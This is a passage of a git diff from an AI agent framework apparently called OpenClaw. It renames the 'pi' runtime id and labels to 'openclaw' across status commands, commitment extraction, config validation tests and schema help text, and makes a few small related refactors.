resolveAgentRuntimeLabel({ config: params.cfg, sessionEntry: params.entry, diff --git a/src/commands/status.command-sections.test.ts b/src/commands/status.command-sections.test.ts index e880d67709a..e73907fc47e 100644 --- a/src/commands/status.command-sections.test.ts +++ b/src/commands/status.command-sections.test.ts @@ -81,7 +81,7 @@ describe("status.command-sections", () => { updatedAt: 2, age: 7_000, model: "gpt-5.5", - runtime: "OpenClaw Pi Default", + runtime: "OpenClaw Default", totalTokens: null, totalTokensFresh: false, remainingTokens: null, @@ -116,7 +116,7 @@ describe("status.command-sections", () => { Kind: "cron", Age: "7000ms", Model: "gpt-5.5", - Runtime: "OpenClaw Pi Default", + Runtime: "OpenClaw Default", Tokens: "12k", Cache: "cache ok", }, @@ -147,7 +147,7 @@ describe("status.command-sections", () => { configuredModel: "zhipu/glm-4.5-air", selectedModel: "deepseek/deepseek-v4-flash", modelSelectionReason: "session override", - runtime: "OpenClaw Pi Default", + runtime: "OpenClaw Default", totalTokens: null, totalTokensFresh: false, remainingTokens: null, diff --git a/src/commands/status.command.ts b/src/commands/status.command.ts index 293d7ab7658..3db8f13a3e1 100644 --- a/src/commands/status.command.ts +++ b/src/commands/status.command.ts @@ -31,9 +31,6 @@ const statusAllModuleLoader = createLazyImportLoader(() => import("./status-all. const statusCommandTextRuntimeLoader = createLazyImportLoader( () => import("./status.command.text-runtime.js"), ); -const statusGatewayConnectionRuntimeLoader = createLazyImportLoader( - () => import("./status.gateway-connection.runtime.js"), -); const statusNodeModeModuleLoader = createLazyImportLoader(() => import("./status.node-mode.js")); function loadStatusScanModule() { @@ -52,10 +49,6 @@ function loadStatusCommandTextRuntime() { return statusCommandTextRuntimeLoader.load(); } -function loadStatusGatewayConnectionRuntime() { - return statusGatewayConnectionRuntimeLoader.load(); -} - function loadStatusNodeModeModule() { return statusNodeModeModuleLoader.load(); } @@ -228,7 +221,7 @@ export async function statusCommand( }); if (opts.verbose) { - const { buildGatewayConnectionDetails } = await loadStatusGatewayConnectionRuntime(); + const { buildGatewayConnectionDetails } = await import("../gateway/call.js"); const details = buildGatewayConnectionDetails({ config: scan.cfg }); logGatewayConnectionDetails({ runtime, diff --git a/src/commands/status.gateway-connection.runtime.ts b/src/commands/status.gateway-connection.runtime.ts deleted file mode 100644 index 027ed533c2d..00000000000 --- a/src/commands/status.gateway-connection.runtime.ts +++ /dev/null @@ -1 +0,0 @@ -export { buildGatewayConnectionDetails } from "../gateway/call.js"; diff --git a/src/commands/status.summary.runtime.test.ts b/src/commands/status.summary.runtime.test.ts index 815a5a210b4..6fc9f4e9069 100644 --- a/src/commands/status.summary.runtime.test.ts +++ b/src/commands/status.summary.runtime.test.ts @@ -2,7 +2,7 @@ import { describe, expect, it } from "vitest"; import { statusSummaryRuntime } from "./status.summary.runtime.js"; describe("statusSummaryRuntime.resolveContextTokensForModel", () => { - it("matches provider context window overrides across canonical provider aliases", () => { + it("does not match provider context window overrides across provider id variants", () => { const contextTokens = statusSummaryRuntime.resolveContextTokensForModel({ cfg: { models: { @@ -18,7 +18,7 @@ describe("statusSummaryRuntime.resolveContextTokensForModel", () => { fallbackContextTokens: 999, }); - expect(contextTokens).toBe(123_456); + expect(contextTokens).toBe(999); }); it("prefers per-model contextTokens over contextWindow", () => { @@ -96,7 +96,7 @@ describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { agents: { defaults: { models: { - "openai/gpt-5.5": { agentRuntime: { id: "pi" } }, + "openai/gpt-5.5": { agentRuntime: { id: "openclaw" } }, }, }, list: [ diff --git a/src/commands/status.summary.runtime.ts b/src/commands/status.summary.runtime.ts index ad17a8df12d..a9653a69b05 100644 --- a/src/commands/status.summary.runtime.ts +++ b/src/commands/status.summary.runtime.ts @@ -168,7 +168,7 @@ function resolveSessionRuntimeLabel(params: { acpBackend: params.entry?.acp?.backend, }); const id = normalizeOptionalLowercaseString(runtime.id); - const resolvedHarness = id && id !== "pi" && id !== "auto" ? id : undefined; + const resolvedHarness = id && id !== "openclaw" && id !== "auto" ? id : undefined; return resolveAgentRuntimeLabel({ config: params.cfg, sessionEntry: params.entry, diff --git a/src/commands/status.summary.test.ts b/src/commands/status.summary.test.ts index 5b4ef8028e1..85ea2a1a1d7 100644 --- a/src/commands/status.summary.test.ts +++ b/src/commands/status.summary.test.ts @@ -63,7 +63,7 @@ vi.mock("./status.summary.runtime.js", () => ({ provider: "openai", model: "gpt-5.5", })), - resolveSessionRuntimeLabel: vi.fn(() => "OpenClaw Pi Default"), + resolveSessionRuntimeLabel: vi.fn(() => "OpenClaw Default"), resolveContextTokensForModel: vi.fn(() => 200_000), }, })); diff --git a/src/commands/status.test-support.ts b/src/commands/status.test-support.ts index 263d7fe374a..79d2aee377e 100644 --- a/src/commands/status.test-support.ts +++ b/src/commands/status.test-support.ts @@ -119,7 +119,7 @@ const baseStatusSummary = { configuredModel: "openai/gpt-5.5", selectedModel: "openai/gpt-5.5", modelSelectionReason: null, - runtime: "OpenClaw Pi Default", + runtime: "OpenClaw Default", totalTokens: 12_000, totalTokensFresh: true, remainingTokens: 4_000, diff --git a/src/commands/status.test.ts b/src/commands/status.test.ts index dddf36a2320..064625dd25f 100644 --- a/src/commands/status.test.ts +++ b/src/commands/status.test.ts @@ -27,7 +27,7 @@ function createDefaultSessionStoreEntry() { totalTokens: 5_000, totalTokensFresh: true as boolean, contextTokens: 10_000, - model: "pi:opus", + model: "test:opus", sessionId: "abc123", systemSent: true, }; @@ -40,7 +40,7 @@ function createUnknownUsageSessionStore() { inputTokens: 2_000, outputTokens: 3_000, contextTokens: 10_000, - model: "pi:opus", + model: "test:opus", }, }; } @@ -262,7 +262,7 @@ function createSessionStatusRows() { paths: byAgent.map((entry) => entry.path), count: recent.length, defaults: { - model: recent[0]?.model ?? "pi:opus", + model: recent[0]?.model ?? "test:opus", contextTokens: recent[0]?.contextTokens ?? 10_000, }, recent, @@ -1006,7 +1006,7 @@ describe("statusCommand", () => { expect(payload.memoryPlugin.slot).toBe("memory-core"); expect(payload.sessions.count).toBe(1); expect(payload.sessions.paths).toContain("/tmp/sessions.json"); - expect(payload.sessions.defaults.model).toBe("pi:opus"); + expect(payload.sessions.defaults.model).toBe("test:opus"); expect(payload.sessions.defaults.contextTokens).toBeGreaterThan(0); expect(payload.sessions.recent[0].percentUsed).toBe(50); expect(payload.sessions.recent[0].cacheRead).toBe(2_000); @@ -1106,7 +1106,7 @@ describe("statusCommand", () => { totalTokens: 5_000, totalTokensFresh: false, contextTokens: 10_000, - model: "pi:opus", + model: "test:opus", }, }); runtimeLogMock.mockClear(); @@ -1466,7 +1466,7 @@ describe("statusCommand", () => { outputTokens: 1_000, totalTokens: 2_000, contextTokens: 10_000, - model: "pi:opus", + model: "test:opus", }, }; } diff --git a/src/commitments/runtime.test.ts b/src/commitments/runtime.test.ts index 330994d72d5..ddec4cf8b56 100644 --- a/src/commitments/runtime.test.ts +++ b/src/commitments/runtime.test.ts @@ -13,29 +13,29 @@ import { import { loadCommitmentStore } from "./store.js"; import type { CommitmentExtractionBatchResult, CommitmentExtractionItem } from "./types.js"; -const runEmbeddedPiAgentMock = vi.hoisted(() => vi.fn()); +const runEmbeddedAgentMock = vi.hoisted(() => vi.fn()); const resolveDefaultModelMock = vi.hoisted(() => vi.fn()); -vi.mock("../agents/pi-embedded.js", () => ({ - runEmbeddedPiAgent: runEmbeddedPiAgentMock, +vi.mock("../agents/embedded-agent.js", () => ({ + runEmbeddedAgent: runEmbeddedAgentMock, })); vi.mock("./model-selection.runtime.js", () => ({ resolveCommitmentDefaultModelRef: resolveDefaultModelMock, })); -function requireFirstEmbeddedPiRequest(): { +function requireFirstEmbeddedAgentRequest(): { provider?: string; model?: string; disableTools?: boolean; } { - const [call] = runEmbeddedPiAgentMock.mock.calls; + const [call] = runEmbeddedAgentMock.mock.calls; if (!call) { - throw new Error("expected embedded PI agent extraction request"); + throw new Error("expected embedded OpenClaw agent extraction request"); } const [request] = call; if (!request || typeof request !== "object" || Array.isArray(request)) { - throw new Error("expected embedded PI agent extraction request"); + throw new Error("expected embedded OpenClaw agent extraction request"); } return request as { provider?: string; model?: string; disableTools?: boolean }; } @@ -46,7 +46,7 @@ describe("commitment extraction runtime", () => { afterEach(async () => { resetCommitmentExtractionRuntimeForTests(); - runEmbeddedPiAgentMock.mockReset(); + runEmbeddedAgentMock.mockReset(); resolveDefaultModelMock.mockReset(); vi.useRealTimers(); vi.unstubAllEnvs(); @@ -192,7 +192,7 @@ describe("commitment extraction runtime", () => { }, }, }; - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: '{"candidates":[]}' }], }); resolveDefaultModelMock.mockReturnValue({ @@ -219,8 +219,8 @@ describe("commitment extraction runtime", () => { await expect(drainCommitmentExtractionQueue()).resolves.toBe(1); expect(resolveDefaultModelMock).toHaveBeenCalledWith({ cfg, agentId: "main" }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); - const request = requireFirstEmbeddedPiRequest(); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); + const request = requireFirstEmbeddedAgentRequest(); expect(request.provider).toBe("openai-codex"); expect(request.model).toBe("gpt-5.5"); expect(request.disableTools).toBe(true); diff --git a/src/commitments/runtime.ts b/src/commitments/runtime.ts index 51d6abc13fb..6ced378210b 100644 --- a/src/commitments/runtime.ts +++ b/src/commitments/runtime.ts @@ -20,7 +20,7 @@ import type { type TimerHandle = ReturnType; type ModelRef = { provider: string; model: string }; -type EmbeddedPiPayloadResult = { payloads?: Array<{ text?: string }> }; +type EmbeddedAgentPayloadResult = { payloads?: Array<{ text?: string }> }; type CommitmentExtractionEnqueueInput = CommitmentScope & { cfg?: OpenClawConfig; @@ -191,7 +191,7 @@ function resolveExtractionSessionFile(agentId: string, runId: string): string { ); } -function joinPayloadText(result: EmbeddedPiPayloadResult): string { +function joinPayloadText(result: EmbeddedAgentPayloadResult): string { return ( result.payloads ?.map((payload) => payload.text) @@ -224,8 +224,8 @@ async function defaultExtractBatch(params: { const resolved = resolveCommitmentsConfig(cfg); const runId = `commitments-${randomUUID()}`; const modelRef = await resolveDefaultModel({ cfg, agentId: first.agentId }); - const { runEmbeddedPiAgent } = await import("../agents/pi-embedded.js"); - const result = await runEmbeddedPiAgent({ + const { runEmbeddedAgent } = await import("../agents/embedded-agent.js"); + const result = await runEmbeddedAgent({ sessionId: runId, sessionKey: `agent:${first.agentId}:commitments:${runId}`, agentId: first.agentId, diff --git a/src/config/config-misc.test.ts b/src/config/config-misc.test.ts index 667a9c3064d..619df0991fc 100644 --- a/src/config/config-misc.test.ts +++ b/src/config/config-misc.test.ts @@ -174,11 +174,11 @@ describe("model provider localService config", () => { expect(result.ok).toBe(true); }); - it("accepts bundled provider alias timeout overlays without custom provider fields", () => { + it("accepts bundled provider timeout overlays without custom provider fields", () => { const result = validateConfigObjectRaw({ models: { providers: { - "z.ai": { + zai: { timeoutSeconds: 600, }, }, @@ -187,8 +187,8 @@ describe("model provider localService config", () => { expect(result.ok).toBe(true); if (result.ok) { - expect(result.config.models?.providers?.["z.ai"]?.models).toEqual([]); - expect(result.config.models?.providers?.["z.ai"]?.baseUrl).toBe(""); + expect(result.config.models?.providers?.zai?.models).toEqual([]); + expect(result.config.models?.providers?.zai?.baseUrl).toBe(""); } }); @@ -1143,7 +1143,7 @@ describe("config paths", () => { describe("config strict validation", () => { it("rejects unknown fields", () => { const res = validateConfigObject({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, customUnknownField: { nested: "value" }, }); expect(res.ok).toBe(false); @@ -1317,7 +1317,7 @@ describe("config strict validation", () => { }, list: [ { - id: "pi", + id: "openclaw", sandbox: { perSession: false, }, diff --git a/src/config/config.compaction-settings.test.ts b/src/config/config.compaction-settings.test.ts index 7c12fa09bd9..0b0fae2c95f 100644 --- a/src/config/config.compaction-settings.test.ts +++ b/src/config/config.compaction-settings.test.ts @@ -56,7 +56,7 @@ describe("config compaction settings", () => { expect(compaction?.maxActiveTranscriptBytes).toBe("20mb"); }); - it("preserves pi compaction override values", () => { + it("preserves legacy compaction override values", () => { const compaction = materializeCompactionConfig({ reserveTokens: 15_000, keepRecentTokens: 12_000, diff --git a/src/config/config.hooks-module-paths.test.ts b/src/config/config.hooks-module-paths.test.ts index 4d1411fd67b..40a3ff84231 100644 --- a/src/config/config.hooks-module-paths.test.ts +++ b/src/config/config.hooks-module-paths.test.ts @@ -14,7 +14,7 @@ describe("config hooks module paths", () => { it("rejects absolute hooks.mappings[].transform.module", () => { expectRejectedIssuePath( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, hooks: { mappings: [ { @@ -32,7 +32,7 @@ describe("config hooks module paths", () => { it("rejects escaping hooks.mappings[].transform.module", () => { expectRejectedIssuePath( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, hooks: { mappings: [ { @@ -50,7 +50,7 @@ describe("config hooks module paths", () => { it("rejects absolute hooks.internal.handlers[].module", () => { expectRejectedIssuePath( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, hooks: { internal: { enabled: true, @@ -65,7 +65,7 @@ describe("config hooks module paths", () => { it("rejects escaping hooks.internal.handlers[].module", () => { expectRejectedIssuePath( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, hooks: { internal: { enabled: true, @@ -79,7 +79,7 @@ describe("config hooks module paths", () => { it("accepts hooks.mappings[].channel runtime plugin ids", () => { const res = validateConfigObjectWithPlugins({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, hooks: { mappings: [ { @@ -97,7 +97,7 @@ describe("config hooks module paths", () => { it("rejects blank hooks.mappings[].channel values", () => { expectRejectedIssuePath( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, hooks: { mappings: [ { diff --git a/src/config/config.plugin-validation.test.ts b/src/config/config.plugin-validation.test.ts index 92b2a42c803..5303370bc39 100644 --- a/src/config/config.plugin-validation.test.ts +++ b/src/config/config.plugin-validation.test.ts @@ -141,7 +141,7 @@ describe("config plugin validation", () => { const validateRemovedPluginConfig = (removedId: string) => validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: false, entries: { [removedId]: { enabled: true } }, @@ -245,7 +245,7 @@ describe("config plugin validation", () => { it("reports missing plugin refs across entries and allowlist surfaces", () => { const missingPath = path.join(suiteHome, "missing-plugin-dir"); const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [missingPath] }, @@ -299,7 +299,7 @@ describe("config plugin validation", () => { it("warns instead of failing for stale plugins.deny entries", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { deny: ["missing-deny"], }, @@ -318,7 +318,7 @@ describe("config plugin validation", () => { it("deduplicates catalog install hints for missing configured official external plugins", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { entries: { brave: { enabled: true } }, allow: ["brave"], @@ -352,7 +352,7 @@ describe("config plugin validation", () => { it("warns instead of failing when an official external memory slot plugin is not installed", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { slots: { memory: "memory-lancedb" }, entries: { "memory-lancedb": { enabled: true } }, @@ -381,7 +381,7 @@ describe("config plugin validation", () => { it("keeps no-persistent-memory wording scoped to the selected missing memory slot", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { slots: { memory: "none" }, entries: { "memory-lancedb": { enabled: true } }, @@ -414,7 +414,7 @@ describe("config plugin validation", () => { it("deduplicates yuanbao missing-plugin warnings across entries and allow", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { entries: { yuanbao: { enabled: true } }, allow: ["yuanbao"], @@ -441,7 +441,7 @@ describe("config plugin validation", () => { it("keeps official external non-memory plugins fatal in the memory slot", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { slots: { memory: "brave" }, entries: { brave: { enabled: true } }, @@ -473,7 +473,7 @@ describe("config plugin validation", () => { it("keeps blocked official external memory slot plugins fatal", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { slots: { memory: "memory-lancedb" }, entries: { "memory-lancedb": { enabled: true } }, @@ -523,7 +523,7 @@ describe("config plugin validation", () => { await fs.chmod(blockedPluginDir, 0o777); try { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [blockedPluginDir] }, @@ -562,7 +562,7 @@ describe("config plugin validation", () => { it("maps legacy blocked diagnostics without plugin ids to configured load paths", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [blockedPluginDir] }, @@ -609,7 +609,7 @@ describe("config plugin validation", () => { it("warns for broken discovered plugins that are not referenced by config", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { allow: ["telegram"], }, @@ -647,7 +647,7 @@ describe("config plugin validation", () => { it("keeps broken discovered plugins fatal when config references them", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { entries: { "broken-local": { enabled: true }, @@ -687,7 +687,7 @@ describe("config plugin validation", () => { const aliasDir = path.join(suiteHome, "alias-dir"); const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [aliasDir] }, @@ -743,7 +743,7 @@ describe("config plugin validation", () => { it("warns instead of failing for stale channel config backed by missing plugin refs", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, channels: { "missing-chat": { token: "stale" }, }, @@ -776,7 +776,7 @@ describe("config plugin validation", () => { it("keeps unknown channel typos fatal when there is no stale plugin evidence", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, channels: { telegarm: { botToken: "typo" }, }, @@ -801,7 +801,7 @@ describe("config plugin validation", () => { it("warns when plugins.allow contains a channel id without a plugin manifest (#76872)", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, channels: { discord: { token: "xxx" }, }, @@ -853,7 +853,7 @@ describe("config plugin validation", () => { ); try { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, channels: { "missing-sms": { token: "stale" }, }, @@ -875,7 +875,7 @@ describe("config plugin validation", () => { it("warns with actionable guidance when a runtime command name is used in plugins.allow", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { allow: ["dreaming"], entries: { @@ -905,7 +905,7 @@ describe("config plugin validation", () => { it("does not fail validation for the implicit default memory slot when plugins config is explicit", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { entries: { acpx: { enabled: true } }, }, @@ -961,7 +961,7 @@ describe("config plugin validation", () => { it("surfaces plugin config diagnostics", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [badPluginDir] }, @@ -982,7 +982,7 @@ describe("config plugin validation", () => { it("surfaces invalid Codex native plugin marketplaces as config diagnostics", () => { const res = validateConfigObjectWithPlugins( { - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { entries: { codex: { @@ -1031,7 +1031,7 @@ describe("config plugin validation", () => { it("does not require native config schemas for enabled bundle plugins", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [bundlePluginDir] }, @@ -1044,7 +1044,7 @@ describe("config plugin validation", () => { it("accepts enabled manifestless Claude bundles without a native schema", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [manifestlessClaudeBundleDir] }, @@ -1057,7 +1057,7 @@ describe("config plugin validation", () => { it("surfaces allowed enum values for plugin config diagnostics", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [enumPluginDir] }, @@ -1077,7 +1077,7 @@ describe("config plugin validation", () => { it("accepts voice-call webhookSecurity and streaming guard config fields", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [voiceCallSchemaPluginDir] }, @@ -1108,7 +1108,7 @@ describe("config plugin validation", () => { it("accepts voice-call OpenAI TTS speed, instructions, and baseUrl config fields", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [voiceCallSchemaPluginDir] }, @@ -1135,7 +1135,7 @@ describe("config plugin validation", () => { it("accepts voice-call SecretRef credentials declared by the plugin schema", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [voiceCallSchemaPluginDir] }, @@ -1167,7 +1167,7 @@ describe("config plugin validation", () => { it("rejects out-of-range voice-call OpenAI TTS speed values", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [voiceCallSchemaPluginDir] }, @@ -1200,7 +1200,7 @@ describe("config plugin validation", () => { it("rejects out-of-range voice-call ElevenLabs voice settings", () => { const res = validateInSuite({ - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, plugins: { enabled: true, load: { paths: [voiceCallSchemaPluginDir] }, @@ -1237,7 +1237,7 @@ describe("config plugin validation", () => { const res = validateInSuite({ agents: { defaults: { heartbeat: { target: "last", directPolicy: "block" } }, - list: [{ id: "pi", heartbeat: { directPolicy: "allow" } }], + list: [{ id: "openclaw", heartbeat: { directPolicy: "allow" } }], }, channels: { modelByChannel: { @@ -1253,7 +1253,7 @@ describe("config plugin validation", () => { it("accepts plugin heartbeat targets", () => { const res = validateInSuite({ - agents: { defaults: { heartbeat: { target: "chat" } }, list: [{ id: "pi" }] }, + agents: { defaults: { heartbeat: { target: "chat" } }, list: [{ id: "openclaw" }] }, plugins: { enabled: false, load: { paths: [chatPluginDir] } }, }); expect(res.ok).toBe(true); @@ -1270,7 +1270,7 @@ describe("config plugin validation", () => { const res = validateInSuite({ agents: { defaults: { heartbeat: { target: "not-a-channel" } }, - list: [{ id: "pi" }], + list: [{ id: "openclaw" }], }, }); expect(res.ok).toBe(false); @@ -1290,7 +1290,7 @@ describe("config plugin validation", () => { const res = validateInSuite({ agents: { defaults: { heartbeat: { directPolicy: "maybe" } }, - list: [{ id: "pi" }], + list: [{ id: "openclaw" }], }, }); expect(res.ok).toBe(false); diff --git a/src/config/defaults.ts b/src/config/defaults.ts index 56ec254857c..7e69057c539 100644 --- a/src/config/defaults.ts +++ b/src/config/defaults.ts @@ -26,7 +26,7 @@ type ProviderPolicyDefaultsOptions = { let defaultWarnState: WarnState = { warned: false }; const DEFAULT_MODEL_ALIASES: Readonly> = { - // Anthropic (pi-ai catalog uses "latest" ids without date suffix) + // Anthropic (shared model runtime catalog uses "latest" ids without date suffix) opus: "anthropic/claude-opus-4-7", sonnet: "anthropic/claude-sonnet-4-6", diff --git a/src/config/plugin-auto-enable.core.test.ts b/src/config/plugin-auto-enable.core.test.ts index c8e22906ed5..9019280fee8 100644 --- a/src/config/plugin-auto-enable.core.test.ts +++ b/src/config/plugin-auto-enable.core.test.ts @@ -620,8 +620,12 @@ describe("applyPluginAutoEnable core", () => { agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", + models: { + "openai/gpt-5.5": { + agentRuntime: { + id: "codex", + }, + }, }, }, }, @@ -835,7 +839,7 @@ describe("applyPluginAutoEnable core", () => { }, }, agents: { - list: [{ id: "pi" }], + list: [{ id: "openclaw" }], }, }, env, @@ -849,7 +853,7 @@ describe("applyPluginAutoEnable core", () => { }, }, agents: { - list: [{ id: "pi" }], + list: [{ id: "openclaw" }], }, }); expect(result.changes).toStrictEqual([]); diff --git a/src/config/plugin-auto-enable.shared.ts b/src/config/plugin-auto-enable.shared.ts index 03cb7a5d9bb..e5892db629d 100644 --- a/src/config/plugin-auto-enable.shared.ts +++ b/src/config/plugin-auto-enable.shared.ts @@ -69,8 +69,11 @@ function extractProviderFromModelRef(value: string): string | null { return normalizeProviderId(trimmed.slice(0, slash)); } -function hasConfiguredEmbeddedHarnessRuntime(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): boolean { - return collectConfiguredAgentHarnessRuntimes(cfg, env, { includeEnvRuntime: false }).length > 0; +function hasConfiguredEmbeddedHarnessRuntime( + cfg: OpenClawConfig, + _env: NodeJS.ProcessEnv, +): boolean { + return collectConfiguredAgentHarnessRuntimes(cfg).length > 0; } function resolveAgentHarnessOwnerPluginIds( @@ -651,9 +654,7 @@ export function resolveConfiguredPluginAutoEnableCandidates(params: { } } - for (const runtime of collectConfiguredAgentHarnessRuntimes(params.config, params.env, { - includeEnvRuntime: false, - })) { + for (const runtime of collectConfiguredAgentHarnessRuntimes(params.config)) { const pluginIds = resolveAgentHarnessOwnerPluginIds(params.registry, runtime); for (const pluginId of pluginIds) { changes.push({ diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index 7860be9793f..f50f1f8dc6a 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -424,11 +424,11 @@ export const FIELD_HELP: Record = { "tools.experimental": "Experimental built-in tool flags. Keep these off by default and enable only when you are intentionally testing a preview surface.", "tools.experimental.planTool": - "Enable the experimental structured `update_plan` tool for non-trivial multi-step work tracking. Leave this off unless you explicitly want the tool outside strict-agentic embedded Pi runs.", + "Enable the experimental structured `update_plan` tool for non-trivial multi-step work tracking. Leave this off unless you explicitly want the tool outside strict-agentic embedded OpenClaw runs.", "tools.toolSearch": "Compact large OpenClaw, MCP, and client tool catalogs behind one search/call surface. Set to true for the default code bridge or use the object form to choose the structured fallback.", "tools.toolSearch.enabled": - "Enables Tool Search. When on, OpenClaw hides large tool catalogs behind `tool_search_code` or structured search/describe/call tools during PI runs.", + "Enables Tool Search. When on, OpenClaw hides large tool catalogs behind `tool_search_code` or structured search/describe/call tools during embedded runtime runs.", "tools.toolSearch.mode": 'Choose the model-facing surface: "code" exposes `tool_search_code`; "tools" exposes structured search/describe/call fallback tools.', "tools.toolSearch.codeTimeoutMs": @@ -956,7 +956,7 @@ export const FIELD_HELP: Record = { "models.providers.*.maxTokens": "Default maximum output token budget applied to models under this provider when a model entry does not set maxTokens.", "models.providers.*.timeoutSeconds": - "Optional per-provider model request timeout in seconds. For built-in providers, this can be set as a standalone overlay. For custom providers, set it alongside the provider baseUrl and models. Applies to provider HTTP fetches, including connect, headers, body, and total request abort handling, and also raises the LLM idle/stream watchdog ceiling for this provider above the implicit ~120s default. Use this for slow local or self-hosted model servers, or for cloud providers that buffer reasoning tokens silently on the wire (Gemini preview, large-tool-payload Claude/Opus), instead of changing global agent timeouts.", + "Optional per-provider model request timeout in seconds. Provider-level request settings affect explicit provider-owned model rows; they do not create implicit models. For custom providers, set it alongside the provider baseUrl and models. Applies to provider HTTP fetches, including connect, headers, body, and total request abort handling, and also raises the LLM idle/stream watchdog ceiling for this provider above the implicit ~120s default. Use this for slow local or self-hosted model servers, or for cloud providers that buffer reasoning tokens silently on the wire (Gemini preview, large-tool-payload Claude/Opus), instead of changing global agent timeouts.", "models.providers.*.region": "Optional provider deployment/API region interpreted by providers that expose regional endpoints. Use provider docs for supported values; baseUrl overrides usually take precedence when both are set.", "models.providers.*.injectNumCtxForOpenAICompat": @@ -970,7 +970,7 @@ export const FIELD_HELP: Record = { "models.providers.*.agentRuntime": "Optional low-level agent runtime policy for this provider. Use provider/model runtime policy instead of agent-wide runtime pins; omitted/default lets OpenClaw choose the runtime for the selected provider.", "models.providers.*.agentRuntime.id": - 'Provider agent runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli". OpenAI on the official endpoint defaults to the Codex harness when omitted.', + 'Provider agent runtime id: "openclaw", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli". OpenAI on the official endpoint defaults to the Codex harness when omitted.', "models.providers.*.localService": "Optional on-demand local model server process for this provider. OpenClaw probes healthUrl, starts the command when needed, waits for readiness, and then sends the model request.", "models.providers.*.localService.command": @@ -1055,7 +1055,7 @@ export const FIELD_HELP: Record = { "models.providers.*.models[].agentRuntime": "Optional low-level agent runtime policy for this specific model. Model runtime policy overrides the provider runtime policy.", "models.providers.*.models[].agentRuntime.id": - 'Model agent runtime id: "pi", "auto", a registered plugin harness id 